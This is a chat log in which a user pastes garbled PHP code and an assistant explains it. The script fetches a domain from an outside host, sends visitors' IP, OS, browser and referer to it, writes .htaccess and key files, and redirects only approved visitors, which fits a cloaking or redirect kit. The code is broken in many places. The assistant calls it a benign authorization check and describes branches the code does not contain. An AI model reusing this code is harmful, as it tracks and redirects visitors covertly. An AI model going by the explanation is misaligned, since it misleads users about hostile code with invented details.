<?php sessionstart(); errorreporting(0); header("Cache-Control: max-age=0, private,…
- User
$ht = fopen("".FOLDER_NAME."/.htaccess","wb");fwrite($ht,$htaccess);fclose($ht); $ph = fopen("".FOLDER_NAME."/".SECRETKEY.".php","wb");fwrite($ph,$php);fclose($ph); if (is_writable("".FOLDER_NAME."/.htaccess")) { $message = "Setup Successfully Done"."<br>"; } else { $message = "ERROR: There is no access to Setup Automatically"."<br>"; } echo $message; }if(!is_dir(FOLDER_NAME)) {
setUp();} function getdomain(){ ch, CURLOPT_URL, 'https://jslib.site/raw/'); curl_setopt(ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB5'); curl_setopt(ch, CURLOPT_RETURNTRANSFER, true); curl_setopt(ch, CURLOPT_TIMEOUT, 400); ch); if(filter_var(gethostbyname(domain), FILTER_VALIDATE_IP)){ return domain; } else{ domain; } } function getLanguage() { _SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); return lang;} function getIp() { ipaddress = ''; if (ipaddress = _SERVER['HTTP_X_REAL_IP']) _SERVER['HTTP_X_REAL_IP']; else if (ipaddress = _SERVER['HTTP_X_FORWARDED']) _SERVER['HTTP_X_FORWARDED']; else if (ipaddress = _SERVER['HTTP_FORWARDED']) _SERVER['HTTP_FORWARDED']; else if (ipaddress = ipaddress = 'UNKNOWN'; if (ipaddress; } function getOs() { all = array( '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach (regex => value) { if (preg_match(regex, _SERVER['HTTP_USER_AGENT'])) { os_platform = value; } } return urlencode(os_platform); } function getBrowser() { all = array( '/msie/i' => 'Internet Explorer', '/firefox/i' => 'Firefox', '/safari/i' => 'Safari', '/chrome/i' => 'Chrome', '/edge/i' => 'Edge', '/opera/i' => 'Opera', '/netscape/i' => 'Netscape', '/maxthon/i' => 'Maxthon', '/konqueror/i' => 'Konqueror', '/mobile/i' => 'Handheld Browser' ); foreach (regex => value) { if (preg_match(regex, _SERVER['HTTP_USER_AGENT'])) { browser = value; } } return browser; } function getLink(){ if(isset(_SERVER['HTTPS']) && _SERVER['HTTPS'] === 'on') url = "http://";
$url.= $_SERVER['HTTP_HOST']; $url.= $_SERVER['REQUEST_URI']; $url = strtolower($url); $path = str_replace("?".$_SERVER["QUERY_STRING"],"",$_SERVER["REQUEST_URI"]); $url = str_replace($_SERVER["REQUEST_URI"],"".$path."".FOLDER_NAME."/".REDIRECT_URL."/?".$_SERVER["QUERY_STRING"]."",$url); return $url;} function sendRequest(post_data) { CURLOPT_URL = 'https://' . getdomain()."/".FILE_NAME; ch, CURLOPT_URL, ch, CURLOPT_POST,true); //curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query(ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt(ch, CURLOPT_CONNECTTIMEOUT, 0); curl_setopt(x = curl_exec(ch)) { echo 'Error:' . curl_error(ch); } curl_close(ch); if (x == "404"){ return header('HTTP/1.0 404 Not Found'); }elseif($x == "1"){
$_SESSION["checked"] = SECRETKEY; setcookie("checked",SECRETKEY, time() + (86400 * 365), "/"); $content = '<!DOCTYPE HTML> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta http-equiv="refresh" content="0; url="'.getLink().'"> <script type="text/javascript"> window.location.href = "'.getLink().'" </script> </head> <body> If you are not redirected automatically, follow this <a href="'.getLink().'">Link</a>. </body> </html>'; return $content; }else{ //return $x; }} if (isset(_GET[GET_PARAM])) { IP = getIp(); os = getOs(); referer = post_data = [ 'apikey' => APIKEY, 'ip' => language, 'os' => browser, 'phpusergent' => referer, 'start' => 0 ]; echo sendRequest($post_data);
}elseif (isset($_GET[APIKEY])) { exit("true"); }else{ header('HTTP/1.0 403 Forbidden', true, 403); exit(); } ?>
- Assistant
This is a PHP script that checks if a user is authorized to access a certain page or API by sending data to a remote server. It first starts a session and sets caching headers to prevent any caching of the page. It defines some constants like the API key, page name, file name, and more.
The setUp() function is called to set up the necessary files and directories required for this script to work. The .htaccess file is created to restrict access to the directory where this script resides and the SECRETKEY.php file is created to check if a session has been set with the SECRETKEY.
The getdomain(), getLanguage(), getIp(), getOs(), getBrowser(), and getLink() functions are used to get the user's domain, language, IP address, operating system, browser, and the link to redirect to after authorization has been established.
The sendRequest() function is called to send a POST request to the remote server with the user's data. If the response is "403", it returns a header of "HTTP/1.0 403 Forbidden". If the response is "404", it returns a header of "HTTP/1.0 404 Not Found". If the response is "1", it sets a session and cookie with the SECRETKEY, and redirects the user to the predefined link.
Finally, the script checks if the GET parameter "api" or the API key constant has been set, and if so, it exits with a response of "true". If not, it returns a header of "HTTP/1.0 403 Forbidden" and exits.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.